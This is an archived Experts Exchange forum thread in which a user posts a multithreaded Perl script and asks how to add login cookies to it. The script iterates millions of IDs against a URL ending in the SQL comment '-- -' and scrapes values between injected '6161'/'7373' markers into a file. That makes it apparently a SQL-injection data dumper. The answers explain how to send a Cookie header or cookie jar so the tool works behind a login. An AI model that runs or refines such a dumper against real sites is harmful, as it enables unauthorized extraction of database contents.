Solved

Embedding Cookies In Perl

Posted on 2011-03-09
4
237 Views
Last Modified: 2012-05-11
This will dump data from my server using perl
but I added login/pass and I don't know how to embedd cookies
can someone help ?
Thanks
#!/usr/bin/perl
use strict;
use threads;
use threads::shared;
use LWP::UserAgent;
system ("color E");
system ("Greedx");
################################################
my $link = "";
################################################
my $delay   = 1;
my $threads = 1;
my $ends = "-- -";
my ($dat,$out);
my @trl;
my @count : shared = (6000000..60000000);
for(0..$threads) {$trl[$_] = threads->create(\&main, $_);}
for(@trl) { $_->join; }
sub main
{
    while(@count)
    {
        my $ua = LWP::UserAgent->new;
        my $id = shift @count;
        my $an = $ua->get("$link$id$ends")->content;
        sleep $delay;
        if($an =~ /6161:(.*?):7373/i)
        {
            my $dump = $1;
            print "[ $id ] $dump\n";
            open $dat, '>>', $out = "Dumped-Data.txt";
            print $dat "$dump\n";
        }
    }
}

Open in new window

0
Comment
Question by:Greedx
4 Comments
 
LVL 26

Assisted Solution

by:wilcoxon
wilcoxon earned 250 total points
ID: 35083409
I think you need to:
* move my $ua = outside the loop
* call $ua->cookie_jar(@args) after initializing $ua (see perldoc LWP::UserAgent)
* I think this will be enough - if not, you'll also need to modify the $ua->get call (though I'm not sure how)

Sorry I couldn't give you more exact changes but it's been quite a while since I've done something similar.
0
 
LVL 4

Accepted Solution

by:
kyanwan earned 250 total points
ID: 37043394
Write the header.  It's easy.

my @headers = ('Cookie' => 'chocolate-chips=yes; sugar=good; fresh=yes;',);
$browser->get("http://www.that_URL_you_are_getting.com", @headers);

Open in new window


0
 
LVL 9

Expert Comment

by:Suhas .
ID: 37319322
This question has been classified as abandoned and is closed as part of the Cleanup Program. See the recommendation for more details.
0

Featured Post

Is Your Active Directory as Secure as You Think?

More than 75% of all records are compromised because of the loss or theft of a privileged credential. Experts have been exploring Active Directory infrastructure to identify key threats and establish best practices for keeping data safe. Attend this month’s webinar to learn more.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

On Microsoft Windows, if  when you click or type the name of a .pl file, you get an error "is not recognized as an internal or external command, operable program or batch file", then this means you do not have the .pl file extension associated with …
I have been pestered over the years to produce and distribute regular data extracts, and often the request have explicitly requested the data be emailed as an Excel attachement; specifically Excel, as it appears: CSV files confuse (no Red or Green h…
Explain concepts important to validation of email addresses with regular expressions. Applies to most languages/tools that uses regular expressions. Consider email address RFCs: Look at HTML5 form input element (with type=email) regex pattern: T…
Get a first impression of how PRTG looks and learn how it works.   This video is a short introduction to PRTG, as an initial overview or as a quick start for new PRTG users.

919 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question

Need Help in Real-Time?

Connect with top rated Experts

16 Experts available now in Live!

Get 1:1 Help Now